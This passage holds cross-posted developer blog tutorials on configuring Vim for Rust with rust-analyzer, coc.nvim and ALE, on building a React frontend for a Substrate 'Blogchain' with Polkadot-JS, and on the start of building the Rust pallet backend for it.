We will first look at some of the plugins I suggest as a baseline, what they do, and how to customize them. Then, we’ll create an example configuration and test some of the features we’re implementing with this setup.

This guide will work for both Vim8 and NeoVim using the configuration provided below. In my experience at least, any customizations you may want to make or other plugins you want to add will work right out of the box with NeoVim. However, there might be different configuration options for Vim8 — just check out the documentation of the plugin and you’ll usually find what you need right there.

Plugins and tools available in Vim

First, let’s start by going over the plugins and tools we will use.

rust-analyzer

Let’s take a look at the core piece of this setup: rust-analyzer.

rust-analyzer is essentially a frontend for IDEs. In other words, it’s a tool IDEs and editors can use to ask for information about Rust code, as well as interact with it in automated ways.

rust-analyzer implements the LSP and has, since its inception, cemented itself as the de facto standard baseline when it comes to Rust tooling.

Besides smart auto-completion, it also provides plenty of other advanced features you might know from other IDEs, such as auto-importing, go to definition, type declaration and implementation, find references, tree folding, run program and run tests, and code assists.

While I am personally a minimal user of magic functionality, I prefer very direct control over the code I write. In doing batch changes with sed, I’m sure there are plenty of people who are used to quality-of-life features and will greatly appreciate the immense amount of work that went into adding them to rust-analyzer.

What exactly you want to use this plethora of options for is up to you. As you’ll see below, you will also have the ability to fully configure rust-analyzer to your needs.

From my personal experience, however, even without any configuration or diving deep into the functionality, rust-analyzer and the Vim plugins using it provide everything you’ll need by default.

rust.vim

rust.vim provides the bare minimum needed for working with Rust in Vim, such as syntax highlighting, formatting, and file detection. There’s not much to be said — it’s just the default Rust configuration from the official rust-lang group on GitHub. It’s a very good baseline and starting point, so if you’re looking for an absolutely minimal setup, this might just be it.

coc.nvim

Conquer of Completion, or coc, is essentially a specialized plugin for completion in the style of VS Code. It provides the possibility of loading extensions for different languages that can then work with LSP servers.

It’s a user-friendly plugin built with performance and flexibility in mind. I have been using coc for a while now and have been very happy with it. There is a rich ecosystem of language server plugins available for many different languages, and coc enables the user to fully customize how completion should work.

coc-rust-analyzer

coc-rust-analyzer is essentially the aforementioned bridge from our LSP tool (rust-analyzer) to coc. It’s an officially supported coc plugin and you can install it by using the following code within Vim:

    :CocInstall coc-rust-analyzer

This will download and install the latest rust-analyzer binary and wire everything together for you.

Upon editing Rust files in the future, you’ll be asked if you want to install an update if there’s a new version of rust-analyzer available:

There are several configuration options, which you can edit in $HOME/.config/nvim/coc-settings.json (you can get to the file by executing :CocConfig in Vim as well).

I personally haven’t felt the need to change the configuration around much. Since there are quite a few options, especially when it comes to customizing how the completion works and is displayed, it might be worth checking out the list of possible configurations.

The options you choose map directly onto rust-analyzer and even include features like custom cargo.

ALE

ALE is a very powerful plugin in its own right. If you wanted to, you could try to just use ALE as a master plugin to rule them all! Since it’s able to communicate with an LSP tool like rust-analyzer, ALE can handle syntax checking, autofixing files, autocompletion, and even some code-related functions.

Personally, I’m not too fond of huge single-tool solutions. However, ALE’s asynchronous syntax checking is fantastic and I’ve been using it for a while in several different languages, Rust included. I use it for that specific feature, with the option to enable other features for languages where other plugins lack a certain functionality.

In any case, if you’re a Vim user and haven’t heard of ALE, definitely check it out! If you’re thinking of switching to Vim for some coding, ALE might give you a lot out of the gate without the need to configure much of anything. It integrates very well with other widely used plugins and LSP servers.

Example configuration in Vim

In this configuration, I will use vim-plug, but you can use whichever you like. Most plugins include installation strings and guides for all the widely used ones.

For this one, simply follow vim-plug’s installation instructions.

    set nocompatible
    filetype off
    set encoding=utf-8
    
    call plug#begin('~/.vim/plugged')
    
    Plug 'rust-lang/rust.vim'
    Plug 'neoclide/coc.nvim', {'branch': 'release'}
    Plug 'dense-analysis/ale'
    
    call plug#end()
    
    let g:rustfmt_autosave = 1
    let g:rustfmt_emit_files = 1
    let g:rustfmt_fail_silently = 0
    
    inoremap <silent><expr> <TAB>
          \ pumvisible() ? "\<C-n>" :
          \ <SID>check_back_space() ? "\<TAB>" :
          \ coc#refresh()
    inoremap <expr><S-TAB> pumvisible() ? "\<C-p>" : "\<C-h>"
    
    function! s:check_back_space() abort
      let col = col('.') - 1
      return !col || getline('.')[col - 1]  =~# '\s'
    endfunction
    
    if has('nvim')
      inoremap <silent><expr> <c-space> coc#refresh()
    else
      inoremap <silent><expr> <c-@> coc#refresh()
    endif
    
    nmap <silent> gd <Plug>(coc-definition)
    nmap <silent> gy <Plug>(coc-type-definition)
    nmap <silent> gi <Plug>(coc-implementation)
    nmap <silent> gr <Plug>(coc-references)

This minimal configuration simply adds the plugins at the top within our vim-plug begin/end calls.

Then, we configure our automatic rust fmt setup. This is nice, since it will automatically, on save, apply rustfmt to your file. All your files will always be correctly formatted based on your rust fmt configuration or the default.

Below that, there are some configurations from the coc example vim configuration.

These are essentially configurations concerning the autocompletion and how different key binds, such as Control + Space, Tab, or Control + N, work with your completion menu. I won’t go into detail here, as I simply use the default settings provided by coc.

Below that, you can see some bindings for the go to definition calls and the like. The nice thing is that the bindings will work in any language for which you use coc (provided that language’s LSP plugin supports it).

If you want to give coc a serious try, I would suggest you start from their example configuration. After that, you can remove the things you don’t need and add plugins, customizations, and other configurations.

When you start Vim with this configuration, you first need to execute the following:

    :PlugInstall

If you’re using a different plugin manager, use whichever installation command that one uses (or manually download and install all the plugins).

Also, as mentioned above, don’t forget to execute the following within Vim to install the rust-analyzer plugin for coc:

    :CocInstall coc-rust-analyzer

Anyway, that’s it for our minimal configuration! Let’s check out what it does and how it looks next.

Also, if you’re interested in my exact setup, feel free to check out my Vim config uration in my dotfiles repository. As a disclaimer, I change it frequently and use Vim for many things other than Rust, so there might be some useless stuff in there.

Evaluating our example configuration

First, let’s take a look at a simple code file and how the syntax highlighting works:

As you can see, rust.vim provides us with nice, readable default highlighting. Also, notice the >Cat next to the struct initialization. This is rust-analyzer giving us a hint for our Cat type. Obviously, this is more useful for inferred types, but this is what it looks like.

Let’s check out some autocompletion features:

Above, you can see examples for auto-completion regarding imports, macros, function names, struct members, and static functions. This overlay and the displayed info can, as mentioned above, be heavily customized to your needs. My setup is pretty much the default, though.

Let’s check out how rust-analyzer shows us errors and warnings together with ALE:

And, as described above, we can check out the automatic rust fmt on save:

Also, if our cursor is above String like in the screenshot above, we can use the goto definition binding to jump to the definition of String in the Rust source:

This works with our own custom types as well. Another neat thing is the Find References function, which shows us all references of a certain type.

Pretty nice! And all with a minimal configuration and only a handful of plugins.

Conclusion

As you can see, Vim is a lean, robust setup for efficiently editing Rust code. It allows us to enable fancy IDE features without the sluggish UI or high resource usage.

As mentioned in the article, this is but one possible way to create such a setup. Vim, with its sheer unlimited ecosystem, empowers the motivated user to customize everything to their exact preference.

Not everyone likes to spend hours tinkering with their tools, however. Fortunately, the default configuration for the tools used in this article work quite well out of the box and the same is true for many other options as well. In most cases, the relevant plugins are well-documented and there are communities you can reference if you’re trying to achieve something more complex.

Substrate blockchain application with a custom React frontend

15 Jun 2022 00:00 +0000

This post was originally posted on the LogRocket blog on 31.05.2022 and was cross-posted here by the author.

We covered how to build a custom Blockchain implementation using the Substrate framework in Rust. However, in this article, we looked only at the backend part of the application, using the default Substrate frontend template to interact with the blockchain, calling functions and inspecting the blockchain state manually.

In this article, we’ll implement a custom frontend for the Blogchain blockchain built in the backend-based article.

While there are many ways to build a frontend for a Substrate based blockchain, both native and using the web, in this example, we’ll continue with the web. But, even within the web, there are plenty of ways one could go about building a client for a blockchain.

You can find the full code for this example on GitHub. Let’s get started!

Blockchains built with Substrate

By default, Blockchains built using Substrate provide an API for clients to connect to do RPC calls, for example, using WebSockets. The officially recommended way to interact with any Substrate-based chain is to use Polkadot-JS.

However, there are also libraries for other languages, as well as the option to use Substrate Connect, which uses Polkadot-JS internally and is focused on providing a basis for light clients for a Substrate blockchain.

You can check out the Polkadot-JS docs to see what it can do and how this looks. Essentially, you have full RPC access to a Substrate blockchain. If you want to dive deeper, the docs are quite good and there are also examples you can check out.

We’ll save ourselves some time and use the Substrate Frontend Template. However, we won’t just use the default template to interact with our blockchain, but we’ll fork it and customize it, extending the template with some Blogchain specific UI elements for interacting with our custom blockchain.

We’ll save some time in terms of setup and boilerplate, while still using the actual libraries and functionality that we would use with any other application. The frontend template is based on React and also includes Polkadot-JS.

A nice side effect of this approach is that inside the template, a lot of the useful blockchain-related functionality is already bundled up and made usable in a higher level. Also, by extending an existing project, we can look at the code that is being used within the template to learn how to build working components in an idiomatic way.

Finally, let’s jump into setting up the project and get coding!

Setting up Substrate

First, we’ll fork the Substrate Frontend Template repository. Then, we can clone our fork:

    git clone url-of-your-fork

Once that’s done and we have our fork locally available, we can navigate inside of the directory and execute:

    yarn install

The command above will install all the necessary dependencies and start the template on http://localhost:8000. Of course, this will only work well if you have the Blogchain project locally running. To do so, simply follow the steps outlined in the README of this repository after cloning it locally. Note that you’ll need Rust and Cargo to run a Substrate blockchain locally.

Now, we can check out the folder structure within the Substrate frontend template, which is essentially just a modern React application. The entry point is in src/index.js, which includes the src/App.js file.

Looking through src/App.js, we can see that the template uses Semantic UI React, a React version of the Semantic UI framework, meaning we can use the existing pre-styled components of Semantic UI.

Within the render function, we can also see all the components that are actually visible in the browser,like <NodeInfo />, <Balances />, etc. The cool thing is that all of these components are actually implemented within the project, so we can just look at, for example, Transfer.js, to see how we could build a component for sending funds from one account to another.

Another important aspect is the substrate-lib/ folder, which bundles and abstracts over much of the blockchain-related RPC logic we’ll need to interact with our chain, as well as some pre-built components for this purpose.

If you want to dive deeper into building web clients for Substrate blockchains, exploring and understanding the frontend template project is a fantastic way to start. With the setup out of the way, let’s get coding!

Basic components

We’ll build several custom components. On the highest level, we want to show the existing blog posts and have a form to create blog posts. Then, we want to be able to check out a post’s details, including the comments on the post. Finally, we want to have the ability to tip the blog post author and to add new comments.

We’ll create the following components:

Blogchain: The top-level component, which will include the rest and which we’ll integrate into the Frontend Template
blogchain/ListBlogPost: Component for listing blog posts and their details
blogchain/CreateBlogPost: Form for adding a new blog post
blogchain/CreateComment: Form for adding a new comment
blogchain/Tip: Form for tipping a blog post author

Since this is just an example and not a production app, we won’t deal with error handling and input validation, but if you’re familiar with React, whatever you’ve done or seen in other projects should work just as well here.

Let’s start with the high-level Blogchain component:

    import { Grid, Container } from 'semantic-ui-react'
    
    function Blogchain() {
      return (
        <Grid.Column width={16}>
          <Container>
            <Grid stackable columns="equal">
              <ListBlogPosts />
              <CreateBlogPost />
            </Grid>
          </Container>
        </Grid.Column>
      )
    }
    export default Blogchain

As mentioned above, we use Semantic UI components to build the UI. Essentially, we just create a grid column since our component will be integrated in an existing grid of the template application. This column has the size 16, meaning it will span the whole width of the page.

Within the Blogchain component, we create a new container with a grid inside where we can lay out our own components right next to each other, each taking up 50 percent of the space.

Next, let’s look at the CreateBlogPost component, which will be sonewhat more interesting:

    import { Grid, Form, Input } from 'semantic-ui-react'
    import { useState } from 'react'
    import { TxButton } from '../substrate-lib/components'
    
    function CreateBlogPost() {
      const [status, setStatus] = useState(null)
      const [formState, setFormState] = useState({ content: '' })
    
      const onChange = (_, data) =>
        setFormState(prev => ({ ...prev, [data.state]: data.value }))
    
      const { content } = formState
    
      return (
          <Grid.Column width={8}>
            <h1>Create Blog Post</h1>
            <Form>
              <Form.Field>
                <Input label="Content" type="text" placeholder="type here..." state="content" onChange={onChange} value={content} />
              </Form.Field>
              <Form.Field style={{ textAlign: 'center' }}>
                <TxButton
                  label="Submit"
                  type="SIGNED-TX"
                  setStatus={setStatus}
                  attrs={{
                    palletRpc: 'blogchain',
                    callable: 'createBlogPost',
                    inputParams: [content],
                    paramFields: [true],
                  }}
                />
              </Form.Field>
            <div style={{ overflowWrap: 'break-word' }}>{status}</div>
            </Form>
          </Grid.Column>
      )
    }
    export default CreateBlogPost

Let’s go through our code line-by-line. We’ll also reuse this model of a form-based component for the CreateComment and Tip components later on, so it’s important to get a good understanding of what’s happening here.

First, we define a local state called status with useState, initializing it to null. The idea of a status in this case means the lifecycle of the transaction. In a typical web-based request-response system, there’s not much relevant state. We send the request and expect the response, handling errors, that’s it.

To persist state in a blockchain system, instead of putting it into some database, we add it to a block, which has to be agreed on by the network. But, due this nature, a transaction can have several states.

First, when we send it, it might not be accepted by the blockchain, for example, because we sent invalid data. If it’s a valid request, we still have to wait until it is mined into a block. So, this status state essentially reflects this state to the user in a simplistic way.

Then, we define the formState, which is an object containing our form fields. The onChange function can be used to update this formState if an input field is changed.

All of this logic is basically copied from the existing Transfer.js component, to be as idiomatic as possible. This is all just form-handling logic. Let’s look at the components we use for building the actual form.

Form-building components

Semantic UI has built-in Form components that we can use and wire up automatically with our formState and onChange functions by setting the state prop.

Then, we add a TxButton component, which is a pre-existing component from the substrate-lib bundle of functionality for interacting with the blockchain. This is a button, which also takes care of executing a transaction. In this case, we want to make a signed transaction, which is why we use the type SIGNED-TX.

This is also where we see our status state, setting the setStatus property to our function, meaning that the TxButton functionality, which keeps track of the lifecycle of the triggered transaction, updates this status.

Next, we can set attrs. These attributes define what we actually want to achieve with this transaction. In our case, we say that we want to call the blogchain::createBlogPost extrinsic with the content from our form in the inputParams.

Below the form, we display our status state, which will be updated during the execution of the transaction.

The TxButton component is actually implemented inside the substrate-lib/components folder, so if you’re interested in everything that’s going on behind the scenes, it might be worth it to check it out.

Now, let’s move on to listing our blog posts.

Fetching data and listing blog posts

To list our blog posts, we need to fetch both the blog posts and their comments, then render them:

    import { useSubstrateState } from '../substrate-lib'
    import { Grid, Button, Modal } from 'semantic-ui-react'
    import { useEffect, useState } from 'react'
    
    function ListBlogPosts() {
      const { api } = useSubstrateState()
      const [ blogPosts, setBlogPosts ] = useState([])
      const [ blogPostComments, setBlogPostComments ] = useState({})
    
      useEffect(() => {
        api.query.blogchain.blogPosts.entries().then((posts) => {
          const p = posts.map(post => {
            return {
              id: post[0].toHuman(),
              content: post[1].toHuman().content,
              author: post[1].toHuman().author,
            }
          })
          setBlogPosts(p)
        })
    
      }, [api])
    
      useEffect(() => {
        api.query.blogchain.blogPostComments.entries().then((commentsMap) => {
          const c = commentsMap.reduce((acc, commentsEntry) => {
            return {
              ...acc,
              [commentsEntry[0].toHuman()]: commentsEntry[1].toHuman(),
            }
          }, {})
          setBlogPostComments(c)
        })
    
      }, [api])
    
      return (
          <Grid.Column width={8}>
            <h1>Blogposts</h1>
            {blogPosts.map((post) => {
              return <BlogPost key={post.id} post={post} comments={blogPostComments[post.id]}/>
            })}
          </Grid.Column>
      )
    }
    export default ListBlogPosts

We start off by using the useSubstrateState method to get the api. This is a built-in library function from substrate-lib. The api is basically an abstraction for making RPC calls to the blockchain.

We use useState to create component state for blogPosts and blogPostComments. Then, we actually define two effects using useEffect, the React lifecycle function.

In this case, we’re basically just making requests when the components are loaded. However, Polkadot-JS is quite powerful when it comes to real-time data, and we could also create WebSocket-based subscriptions.

For example, if we had a storage item, which changes every time a blog post is added, we could subscribe to that value and re-fetch the data every time it changes, updating our UI accordingly.

So moving from a request-response model to a full real-time model is fully supported by the tech we’re already using here.

Anyway, we use the api abstraction to first query blogchain.blogPosts.entries(), which returns the actual StorageMap, a map from blog post ID hash to the actual blog posts.

We get this in the form on an array, where each element is essentially a tuple of the ID and the blog post. We use the .toHuman() function to get a human-readable representation of the blog post ID and the blog post data, setting it in our blogPosts state.

We do basically the same for the blog post comments, however, the difference is that we don’t just map over it to create a list of blog posts, but we reduce down the map of blog post IDs to blog post comments for each ID. We also set this data in our blogPostComments state.

Then, we simply render another grid column and map the blogPosts to BlogPost components, passing down the post and comments to the detail component.

The BlogPost component, which we used for displaying the blog posts in the list is very simple:

    function BlogPost(props) {
      const { post, comments } = props
    
      return (
        <div>
          id: {post.id} <br />
          content: {post.content.substring(0, 15) + '...'} <br />
          author: {post.author}<br />
          <BlogPostModal post={post} comments={comments} />
          <hr/>
        </div>
      )
    }

We just display the ID, the first 15 characters of the content, and the author of the post passed down using props. More interestingly, below the data, we show the BlogPostModal, which will be the Detail component that pops up when people click on the Detail button of a blog post:

    function BlogPostModal(props) {
      const [open, setOpen] = useState(false)
      const { post, comments } = props
    
      return (
        <Modal
          onClose={() => setOpen(false)}
          onOpen={() => setOpen(true)}
          open={open}
          trigger={
            <Button>Detail</Button>
          }
        >
          <Modal.Header>Post ID: {post.id}</Modal.Header>
          <Modal.Content>
            <b>Author:</b> {post.author} <br />
            <b>Content:</b> {post.content}
          </Modal.Content>
          <Modal.Content>
            <h3>Comments:</h3>
            <ul>
              {comments && comments.map((comment) => {
                return <li key={comment.content}>{comment.author} wrote: <br />{comment.content}</li>
              })}
            </ul>
    
            <CreateComment postId={post.id} />
            <Tip postId={post.id} />
          </Modal.Content>
        </Modal>
    
      )
    }

Semantic UI has a built-in Modal component. The idea is that we can define state-functions for opening and closing the modal, and more interestingly, a trigger property.

This trigger is in our case simply a button, that, when clicked, will trigger onOpen. When it’s clicked while open, it triggers onClose. In a more complex application, we can see how these hooks could be used to implement more interesting functionality concerning opening and closing the Modal.

Inside the Modal component, we can implement our logic and user interface for the detail view. In our case, we start off with the post ID as a header, followed by the full content and author of the post.

Below that, we display the comments that we passed down into the BlogPost and Modal component, as well as our CreateComment and Tip components, which we’ll look at next.

Besides that, not much is happening here. We just use the powerful Modal from Semantic UI to do the heavy lifting for us. As mentioned above, the CreateComment and Tip components are similar to CreateBlogPost with minor changes:

    import { Grid, Form, Input } from 'semantic-ui-react'
    import { useState } from 'react'
    import { TxButton } from '../substrate-lib/components'
    
    function CreateComment(props) {
      const [status, setStatus] = useState(null)
      const [formState, setFormState] = useState({ content: '' })
      const { postId } = props;
    
      const onChange = (_, data) =>
        setFormState(prev => ({ ...prev, [data.state]: data.value }))
    
      const { content } = formState
    
      return (
          <Grid.Column width={8}>
            <h3>Create Comment</h3>
            <Form>
              <Form.Field>
                <Input label="Content" type="text" placeholder="type here..." state="content" onChange={onChange} value={content} />
              </Form.Field>
              <Form.Field style={{ textAlign: 'center' }}>
                <TxButton
                  label="Submit"
                  type="SIGNED-TX"
                  setStatus={setStatus}
                  attrs={{
                    palletRpc: 'blogchain',
                    callable: 'createBlogPostComment',
                    inputParams: [content, postId.toString()],
                    paramFields: [true, true],
                  }}
                />
              </Form.Field>
            <div style={{ overflowWrap: 'break-word' }}>{status}</div>
            </Form>
          </Grid.Column>
      )
    }
    export default CreateComment

Here, we create a form again and use the postId, passed in using the props from the outside.

One interesting difference to the blog post creation form we can see here is that within the TxButton, when defining the inputParams, we set [content, postId.toString()].

The createBlogPostComment extrinsic takes two parameters, the content String and a Hash of the blog post we want to comment on. We already know this hash because it’s just our postId, we can simply set it to postId.toString(). The content field is passed in the same way as when creating a blog post.

The rest of the form logic is indeed very much the same as in the previous form. The same goes for our last component, the Tip form:

    import { Grid, Form, Input } from 'semantic-ui-react'
    import { useState } from 'react'
    import { TxButton } from '../substrate-lib/components'
    
    function Tip(props) {
      const [status, setStatus] = useState(null)
      const [formState, setFormState] = useState({ amount: 0 })
      const { postId } = props;
    
      const onChange = (_, data) =>
        setFormState(prev => ({ ...prev, [data.state]: data.value }))
    
      const { amount } = formState
    
      return (
          <Grid.Column width={8}>
            <h3>Tip</h3>
            <Form>
              <Form.Field>
                <Input label="Amount" type="text"  state="amount" onChange={onChange} amount={amount} placeholder="10000" />
              </Form.Field>
              <Form.Field style={{ textAlign: 'center' }}>
                <TxButton
                  label="Submit"
                  type="SIGNED-TX"
                  setStatus={setStatus}
                  attrs={{
                    palletRpc: 'blogchain',
                    callable: 'tipBlogPost',
                    inputParams: [postId.toString(), amount],
                    paramFields: [true, true],
                  }}
                />
              </Form.Field>
            <div style={{ overflowWrap: 'break-word' }}>{status}</div>
            </Form>
          </Grid.Column>
      )
    }
    export default Tip

Again, since the tipBlogPost extrinsic expects two arguments, a Hash of the post and an amount of funds, we can do the same as in the previous component by pre-setting the Hash in the inputParams of the TxButton component to the postId.

Now, within these components, in a “real” application, you could imagine us checking, whether we’re the author of a post, or a comment and showing those differently. Or that we might disable the Tip component, if it’s our own blog post. At the end of the day, this is very similar to any other API-based web application, where we make requests for data using Polkadot-JS and update the state in our frontend.

That’s all of our components done. The only thing left is to wire them up with the frontend template by extending App.js:

    import Blogchain from './Blogchain'
    
    ...
              <Grid.Row stretched>
                <NodeInfo />
                <Metadata />
                <BlockNumber />
                <BlockNumber finalized />
              </Grid.Row>
              
              <Grid.Row>
                <Blogchain />
              </Grid.Row>
              
              <Grid.Row stretched>
                <Balances />
              </Grid.Row>
    ...

Testing

Let’s see if what we built actually works.

Check the Setup section above for instructions on checking if the Blogchain blockchain is running. We then execute yarn start, and our application will open in a browser pointing to http://localhost:8000.

There, we can see the basic frontend template user interface. Right below the basic blockchain info, where we added our <Blogchain /> component, we can see our blog post list and blog post creation components:

Now, let’s try to create a blog post:

Once we click on Submit, we can see the status below change. Once it’s InBlock, everything is persisted. Now, by refreshing the page and adding some more blog posts, we can see our list of blog posts:

Great, now let’s click on the Detail button of a post to see our Modal for interacting with the post:

Here, we can see the details of the post and our form for adding comments and tipping the blog post author. Let’s do both:

Upon adding a comment and tipping, we can check the balance and see that the money has actually changed hands. Also, refreshing and opening the Detail again, we can see our new comment the detail page:

It works, fantastic!

Conclusion

Similar to the backend-oriented example with Substrate, being able to use a pre-existing template project with great documentation made getting into Polkadot-JS and interacting with the blockchain a rather smooth experience.

I believe, especially with the novelty and high complexity of blockchain technology and Web3 in general, Substrate’s approach of helping people hit the ground running from reading the docs to their first example seems really powerful.

From this example, which was based on the existing Substrate Frontend Template, it’s not much of a stretch to a React-based client application just only using a minimal set of libraries and Polkadot-JS and to use the whole Substrate ecosystem to build a working Web3 application.

How to build a custom blockchain implementation in Rust using Substrate

01 Mar 2022 00:00 +0000

This post was originally posted on the LogRocket blog on 14.02.2022 and was cross-posted here by the author.

In a previous article, we explored the core concepts behind the Substrate blockchain framework. In this tutorial, we’ll actually get our hands dirty and implement a very basic custom blockchain application in Rust using Substrate.

It’s not strictly necessary to have read the introductory article, but if some of the terminology seems alien or confusing to you, it might make sense to skim over “Substrate blockchain development: Core concepts” before moving on with this tutorial.

We will build the backend of a simple blockchain-based blogging application in which users can submit blog posts, comment on users’ blog posts, and send other blog post authors a tip if they like their content.

All of these actions cost the users a small amount of currency based on the execution time of the operations. To learn more about this concept, you can check out the Substrate docs.

The basis of this application will be the Substrate Node Template, a fully set up substrate node ready for customization.

In this tutorial, we will only concern ourselves with the backend part of the application and rely on the Substrate Front End Template to interact with the blockchain and our custom functionality. In a future post, we might extend this example and build a custom frontend application for it based on this template.

Setup

To setup our node template, we will use Kickstart, which you can install by executing the following:

    cargo install kickstart

Kickstart is simply a CLI tool for setting up projects based on premade templates. Fortunately, there is a S ubstrate [](https://github.com/sacha-l/kickstart-substrate)[template for Kickstart](https://github.com/sacha-l/kickstart-substrate).

Now you can run this command in the root of your workspace:

    kickstart https://github.com/sacha-l/kickstart-substrate

This will prompt you for a name. In both cases, simply put blogchain, then it will download and set up a local Substrate node template with a fully wired-up pallet by the name you gave.

Let’s look at the file structure in the blogchain project:

As you can see, we have quite a few files and folders here. Most importantly, we have our pallets/blockchain area, where we will do most of our customizations and implement all of our business logic.

node contains all the code we need to run the underlying node template. In runtime, all internal and external pallets are wired together, so they can run inside the node.

We will only make changes to the pallets/blogchain/lib.rs and runtime/src/lib.rs files.

if you get lost at some point, or things don’t work, you can reference this repository and look at the commit history, which roughly coincides with the path we’ll take in this tutorial.

First, in runtime/src/lib,rs, change the following line:

    TemplateModule: pallet_blogchain,

To:

    Blogchain: pallet_blogchain,

This is important to ensure that our pallet has the correct name displayed in the frontend later on.

Also, for setup reasons, we’ll add the Currency trait to our pallet because we’ll want to transfer some currency from one user to another later on.

In pallets/blogchain/lib.rs, change the following:

    use frame_support::pallet_prelude::*;

To:

    use frame_support::{pallet_prelude::*, traits::Currency};

Within:

    #[pallet::config]
    pub trait Config: frame_system::Config {
        type Event: From<Event<Self>> + IsType<<Self as frame_system::Config>::Event>;
        type Currency: Currency<Self::AccountId>; // <-- new
    }

This adds the Currency trait to our pallet. We also need to add this to runtime/lib.rs:

    pub use frame_support::{
    ...
            traits::{Currency, KeyOwnerProofSystem, Randomness, StorageInfo},
    ...
    };
    
    impl pallet_blogchain::Config for Runtime {
            type Event = Event;
            type Currency = Balances; // <-- new
    }

Alright, that’s it for the setup. Make sure everything compiles and let’s move on to some data structures and state definitions.

Data structures and storage

In this section, we’ll implement a simple blogging system with comments and a tipping function.

Let’s first add some data structures for blog posts and comments in /pallets/blogchain/lib.rs:

    use frame_support::{
    ...
    inherent::Vec,
    ...
    };
    
    
    #[derive(Clone, Encode, Decode, PartialEq, RuntimeDebug, TypeInfo)]
    #[scale_info(skip_type_params(T))]
    pub struct BlogPost<T: Config> {
            pub content: Vec<u8>,
            pub author: <T as frame_system::Config>::AccountId,
    }
    
    #[derive(Clone, Encode, Decode, PartialEq, RuntimeDebug, TypeInfo)]
    #[scale_info(skip_type_params(T))]
    pub struct BlogPostComment<T: Config> {
            pub content: Vec<u8>,
            pub blog_post_id: T::Hash,
            pub author: <T as frame_system::Config>::AccountId,
    }

That looks a bit complex, so let’s unpack it.

Let’s first look at the macros above the structs. We derive a couple of well-known helper traits, such as Clone, PartialEq, etc., but we also derive the scale_info::TypeInfo trait and use the scale_info macro. These are used for serialization and deserialization inside of Substrate, as well as for retrieving compile-time info about the types at runtime.

The structs themselves are rather simple. The post simply has a content vector of bytes and the author is basically just an AccountId from within the system. The frame_system::Config is essentially the underlying pallet configuration. The frame_system module provides functionality and data types for everything underlying the pallets. That’s also why the structs are generic for a T: Config, because they’ll always be used within the context of a pallet configuration.

The BlogPostComment has a content and an author, but it also holds the blog_post_id, which is a T::Hash. This is the output of the configured hashing function. We will use Substrate defaults for everything, but you could imagine this being useful if you wanted to use this pallet with different blockchain systems, which rely on different configurations, such as different hashing algorithms. This way, it’ll work without any necessary changes.

The next step is to define the state we want to keep on the blockchain. For this purpose, we’ll create two StorageMap instances holding the posts and comments:

    /// Storage Map for BlogPosts by BlogPostId (Hash) to a BlogPost
    #[pallet::storage]
    #[pallet::getter(fn blog_posts)]
    pub(super) type BlogPosts<T: Config> = StorageMap<_, Twox64Concat, T::Hash, BlogPost<T>>;
    
    /// Storage Map from BlogPostId (Hash) to a list of BlogPostComments for this BlogPost
    #[pallet::storage]
    #[pallet::getter(fn blog_post_comments)]
    pub(super) type BlogPostComments<T: Config> =
            StorageMap<_, Twox64Concat, T::Hash, Vec<BlogPostComment<T>>>;

With the pallet::storage macro we tell the system that this is a piece of persistent storage and the pallet::getter macro makes it so we can query this later on under the given function name.

For the blog posts, we use a StorageMap, which is essentially a hash map, mapping from T::Hash to a BlogPost, so from a blog post id to a blog post.

For the blog post comments, we want to map from a blog post ID to a list of comments, so we can query the comments for a given blog post.

This is all the state we want to keep in this example, but you can imagine how there might be other useful data points and views on the data. We might want to persist for our clients to query later on.

In Substrate, there is the concept of Events, which can be used for informing clients and users that something happened — think of using WebSockets to inform you that a post has been commented on, for example.

For this purpose, we’ll need to add an event for each of our actions:

    #[pallet::event]
    #[pallet::generate_deposit(pub(super) fn deposit_event)]
    pub enum Event<T: Config> {
            BlogPostCreated(Vec<u8>, T::AccountId, T::Hash),
            BlogPostCommentCreated(Vec<u8>, T::AccountId, T::Hash),
            Tipped(T::AccountId, T::Hash),
    }

We add events for when a blog post was created with the content, author, and ID of the blog post, and the same for a comment. When a user tips for a blog post, we send the tipper’s account ID and the ID of the blog post whose author has been tipped.

Before moving on to implementing the actual logic for creating blog posts, comments, and tipping, we need a few more types for our error handling. We’d like to limit the size of blog posts and comments. Blog posts should be between 64 and 4,096 bytes in length and comments between 64 and 1,024. This is mostly to show off some error handling later on, but it’s a good idea to do this either way.

First, we add some constants for this in our pallet config:

    #[pallet::config]
    pub trait Config: frame_system::Config {
            type Event: From<Event<Self>> + IsType<<Self as frame_system::Config>::Event>;
    
            type Currency: Currency<Self::AccountId>;
    
            #[pallet::constant]
            type BlogPostMinBytes: Get<u32>;// <-- new
    
            #[pallet::constant]
            type BlogPostMaxBytes: Get<u32>;// <-- new
    
            #[pallet::constant]
            type BlogPostCommentMinBytes: Get<u32>;// <-- new
    
            #[pallet::constant]
            type BlogPostCommentMaxBytes: Get<u32>; // <-- new
    }

And some error types:

    // Errors inform users that something went wrong.
    #[pallet::error]
    pub enum Error<T> {
            /// Error names should be descriptive.
            NoneValue,
            /// Errors should have helpful documentation associated with them.
            StorageOverflow,
            BlogPostNotEnoughBytes, // <-- new
            BlogPostTooManyBytes, // <-- new
            BlogPostCommentNotEnoughBytes,// <-- new
            BlogPostCommentTooManyBytes,// <-- new
            BlogPostNotFound,// <-- new
            TipperIsAuthor,// <-- new
    }

Great! Now we need to define values for our constants in the runtime at runtime/lib.rs:

    parameter_types! {
            pub const Version: RuntimeVersion = VERSION;
            pub const BlockHashCount: BlockNumber = 2400;
            /// We allow for 2 seconds of compute with a 6 second average block time.
            pub BlockWeights: frame_system::limits::BlockWeights = frame_system::limits::BlockWeights
                    ::with_sensible_defaults(2 * WEIGHT_PER_SECOND, NORMAL_DISPATCH_RATIO);
            pub BlockLength: frame_system::limits::BlockLength = frame_system::limits::BlockLength
                    ::max_with_normal_ratio(5 * 1024 * 1024, NORMAL_DISPATCH_RATIO);
            pub const SS58Prefix: u8 = 42;
            pub const BlogPostMinBytes: u32 = 64; // <-- new
            pub const BlogPostMaxBytes: u32 = 4096;// <-- new
            pub const BlogPostCommentMinBytes: u32 = 64;// <-- new
            pub const BlogPostCommentMaxBytes: u32 = 1024;// <-- new
    }
    
    ...
    ...
    
    /// Configure the pallet-blogchain in pallets/blogchain.
    impl pallet_blogchain::Config for Runtime {
            type Event = Event;
            type Currency = Balances;
            type BlogPostMinBytes = BlogPostMinBytes; // <-- new
            type BlogPostMaxBytes = BlogPostMaxBytes; // <-- new
            type BlogPostCommentMinBytes = BlogPostCommentMinBytes; // <-- new
            type BlogPostCommentMaxBytes = BlogPostCommentMaxBytes; // <-- new
    }

